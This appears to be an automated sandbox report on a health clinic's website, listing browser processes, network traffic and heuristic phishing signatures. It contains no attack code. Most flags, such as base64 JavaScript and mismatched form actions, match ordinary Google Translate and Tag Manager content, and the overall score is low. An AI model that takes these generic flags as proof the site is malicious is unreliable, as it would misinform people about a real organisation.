Edit tour

Windows Analysis Report
http://valleyprohealth.org

Overview

General Information

Sample URL:	http://valleyprohealth.org
Analysis ID:	1431079
Infos:

Detection

Score:	23
Range:	0 - 100
Whitelisted:	false
Confidence:	80%

Signatures

HTML page contains suspicious base64 encoded javascript

Form action URLs do not match main URL

Found iframes

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden URLs or javascript code

HTML title does not match URL

None HTTPS page querying sensitive user data (password, username or email)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5956 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3484 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1812 --field-trial-handle=2012,i,17370440171839538085,11052004607270784820,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1904 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5716 --field-trial-handle=2012,i,17370440171839538085,11052004607270784820,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6412 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://valleyprohealth.org" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

HTML page contains suspicious base64 encoded javascript

Source: http://valleyprohealth.org/

HTTP Parser: Base64 decoded: <script>

Source: http://valleyprohealth.org/	HTTP Parser: Form action: //translate.googleapis.com/translate_voting?client=te valleyprohealth googleapis
Source: https://valleyprohealth.org/	HTTP Parser: Form action: //translate.googleapis.com/translate_voting?client=te valleyprohealth googleapis
Source: https://valleyprohealth.org/	HTTP Parser: Form action: //translate.googleapis.com/translate_voting?client=te valleyprohealth googleapis
Source: https://valleyprohealth.org/	HTTP Parser: Form action: //translate.googleapis.com/translate_voting?client=te valleyprohealth googleapis
Source: https://valleyprohealth.org/	HTTP Parser: Form action: //translate.googleapis.com/translate_voting?client=te valleyprohealth googleapis
Source: https://valleyprohealth.org/	HTTP Parser: Form action: //translate.googleapis.com/translate_voting?client=te valleyprohealth googleapis
Source: https://valleyprohealth.org/	HTTP Parser: Form action: //translate.googleapis.com/translate_voting?client=te valleyprohealth googleapis
Source: https://valleyprohealth.org/	HTTP Parser: Form action: //translate.googleapis.com/translate_voting?client=te valleyprohealth googleapis
Source: https://valleyprohealth.org/services	HTTP Parser: Form action: //translate.googleapis.com/translate_voting?client=te valleyprohealth googleapis
Source: https://valleyprohealth.org/services	HTTP Parser: Form action: //translate.googleapis.com/translate_voting?client=te valleyprohealth googleapis
Source: https://valleyprohealth.org/services	HTTP Parser: Form action: //translate.googleapis.com/translate_voting?client=te valleyprohealth googleapis

Source: http://valleyprohealth.org/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-M6GP474
Source: https://valleyprohealth.org/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-M6GP474
Source: https://valleyprohealth.org/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-M6GP474
Source: https://valleyprohealth.org/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-M6GP474
Source: https://valleyprohealth.org/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-M6GP474
Source: https://valleyprohealth.org/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-M6GP474
Source: https://valleyprohealth.org/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-M6GP474
Source: https://valleyprohealth.org/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-M6GP474
Source: https://valleyprohealth.org/services	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-M6GP474
Source: https://valleyprohealth.org/services	HTTP Parser: Iframe src: https://calendar.google.com/calendar/b/1/embed?src=flc9fq7tt9nlo52qhlchoscu3s@group.calendar.google.com&ctz=America/New_York
Source: https://valleyprohealth.org/services	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-M6GP474
Source: https://valleyprohealth.org/services	HTTP Parser: Iframe src: https://calendar.google.com/calendar/b/1/embed?src=flc9fq7tt9nlo52qhlchoscu3s@group.calendar.google.com&ctz=America/New_York
Source: https://valleyprohealth.org/services	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-M6GP474
Source: https://valleyprohealth.org/services	HTTP Parser: Iframe src: https://calendar.google.com/calendar/b/1/embed?src=flc9fq7tt9nlo52qhlchoscu3s@group.calendar.google.com&ctz=America/New_York

Source: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp

HTTP Parser: Number of links: 0

Source: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: http://valleyprohealth.org/

HTTP Parser: Base64 decoded: <!DOCTYPE html><body><script>(function(){'use strict';/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0*/var e=this||self;function f(a){return a};var h;function k(a){this.g=a}k.prototype.toString=function(){return this.g+"...

Source: https://valleyprohealth.org/services

HTTP Parser: Title: Services - ValleyProHealth.org does not match URL

Source: http://valleyprohealth.org/

HTTP Parser: Has password / email / username input fields

Source: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp

HTTP Parser: <input type="password" .../> found

Source: about:srcdoc	HTTP Parser: No favicon
Source: https://match.adsrvr.org/track/cmf/rubicon?gdpr=0	HTTP Parser: No favicon
Source: https://match.adsrvr.org/track/cmf/google?g_uuid=&gdpr=0&gdpr_consent=&ttd_tdid=69c771e8-c390-4607-a64f-75376e6bf1de&google_gid=CAESEBEUesOdvpqtWGtPSZ5IcU0&google_cver=1	HTTP Parser: No favicon
Source: https://match.adsrvr.org/track/cmf/appnexus?ttd=1&anid=7999698396796766535&ttd_tdid=69c771e8-c390-4607-a64f-75376e6bf1de	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cDovL3ZhbGxleXByb2hlYWx0aC5vcmc6ODA.&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=2duub94apzi9	HTTP Parser: No favicon
Source: https://match.adsrvr.org/track/upb/?adv=3l6d758&ref=http%3A%2F%2Fvalleyprohealth.org%2F&upid=6su09yz&upv=1.1.0	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cDovL3ZhbGxleXByb2hlYWx0aC5vcmc6ODA.&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=2inicfk70su6	HTTP Parser: No favicon
Source: https://match.adsrvr.org/track/cmf/generic?ttd_pid=pubmatic	HTTP Parser: No favicon
Source: https://dsum-sec.casalemedia.com/rum?cm_dsp_id=39&external_user_id=69c771e8-c390-4607-a64f-75376e6bf1de&expiration=1716554686&gdpr=0&gdpr_consent=&C=1	HTTP Parser: No favicon
Source: https://insight.adsrvr.org/track/up?adv=3l6d758&ref=https%3A%2F%2Fvalleyprohealth.org%2F&upid=6su09yz&upv=1.1.0	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cHM6Ly92YWxsZXlwcm9oZWFsdGgub3JnOjQ0Mw..&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=1ixpx082w2ai	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cHM6Ly92YWxsZXlwcm9oZWFsdGgub3JnOjQ0Mw..&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=1ixpx082w2ai	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cHM6Ly92YWxsZXlwcm9oZWFsdGgub3JnOjQ0Mw..&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=aogix5n2d4km	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cHM6Ly92YWxsZXlwcm9oZWFsdGgub3JnOjQ0Mw..&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=aogix5n2d4km	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cHM6Ly92YWxsZXlwcm9oZWFsdGgub3JnOjQ0Mw..&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=vigs5q7xdexj	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cHM6Ly92YWxsZXlwcm9oZWFsdGgub3JnOjQ0Mw..&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=vigs5q7xdexj	HTTP Parser: No favicon

Source: http://valleyprohealth.org/	HTTP Parser: No <meta name="author".. found
Source: https://valleyprohealth.org/	HTTP Parser: No <meta name="author".. found
Source: https://valleyprohealth.org/	HTTP Parser: No <meta name="author".. found
Source: https://valleyprohealth.org/	HTTP Parser: No <meta name="author".. found
Source: https://valleyprohealth.org/	HTTP Parser: No <meta name="author".. found
Source: https://valleyprohealth.org/	HTTP Parser: No <meta name="author".. found
Source: https://valleyprohealth.org/	HTTP Parser: No <meta name="author".. found
Source: https://valleyprohealth.org/	HTTP Parser: No <meta name="author".. found
Source: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp	HTTP Parser: No <meta name="author".. found
Source: https://valleyprohealth.org/services	HTTP Parser: No <meta name="author".. found
Source: https://valleyprohealth.org/services	HTTP Parser: No <meta name="author".. found
Source: https://valleyprohealth.org/services	HTTP Parser: No <meta name="author".. found

Source: http://valleyprohealth.org/	HTTP Parser: No <meta name="copyright".. found
Source: https://valleyprohealth.org/	HTTP Parser: No <meta name="copyright".. found
Source: https://valleyprohealth.org/	HTTP Parser: No <meta name="copyright".. found
Source: https://valleyprohealth.org/	HTTP Parser: No <meta name="copyright".. found
Source: https://valleyprohealth.org/	HTTP Parser: No <meta name="copyright".. found
Source: https://valleyprohealth.org/	HTTP Parser: No <meta name="copyright".. found
Source: https://valleyprohealth.org/	HTTP Parser: No <meta name="copyright".. found
Source: https://valleyprohealth.org/	HTTP Parser: No <meta name="copyright".. found
Source: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp	HTTP Parser: No <meta name="copyright".. found
Source: https://valleyprohealth.org/services	HTTP Parser: No <meta name="copyright".. found
Source: https://valleyprohealth.org/services	HTTP Parser: No <meta name="copyright".. found
Source: https://valleyprohealth.org/services	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 23.206.6.29:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.206.6.29:443 -> 192.168.2.4:49773 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.6.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.6.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.6.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.6.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.6.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.6.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.6.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.6.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.6.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.6.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.6.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.6.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.6.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.6.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.6.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.6.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.6.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.6.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.6.29
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.234.57
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.234.57
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /jquery-3.5.0.min.js?ver=3.2.1 HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-migrate-3.2.0.min.js?ver=3.0.0 HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery.slick/1.5.1/slick.css HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/style.css HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/css/dist/block-library/style.min.css HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-bootstrap-blocks/build/style-index.css?ver=5.2.0 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-blog-post-layouts/includes/assets/css/build.css?ver=1.1.3 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/Valley-Pro-Calculator/public/css/valley-pro-calculator-public.css?ver=1.0.0 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/Valley-Pro-Calculator/public/css/main.css?ver=1.0.0 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery.slick/1.5.1/slick-theme.css HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery.slick/1.5.1/slick.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bt_cost_calculator/style.min.css HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cookie-notice/css/front.min.css?ver=2.4.16 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/google-language-translator/css/style.css?ver=6.0.20 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/google-language-translator/css/toolbar.css?ver=6.0.20 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/user-submitted-posts/resources/usp.css?ver=20240319 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-google-places-review-slider/public/css/wprev-public_combine.css?ver=13.6 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-blog-post-layouts/includes/assets/fontawesome/css/all.min.css?ver=5.12.1 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
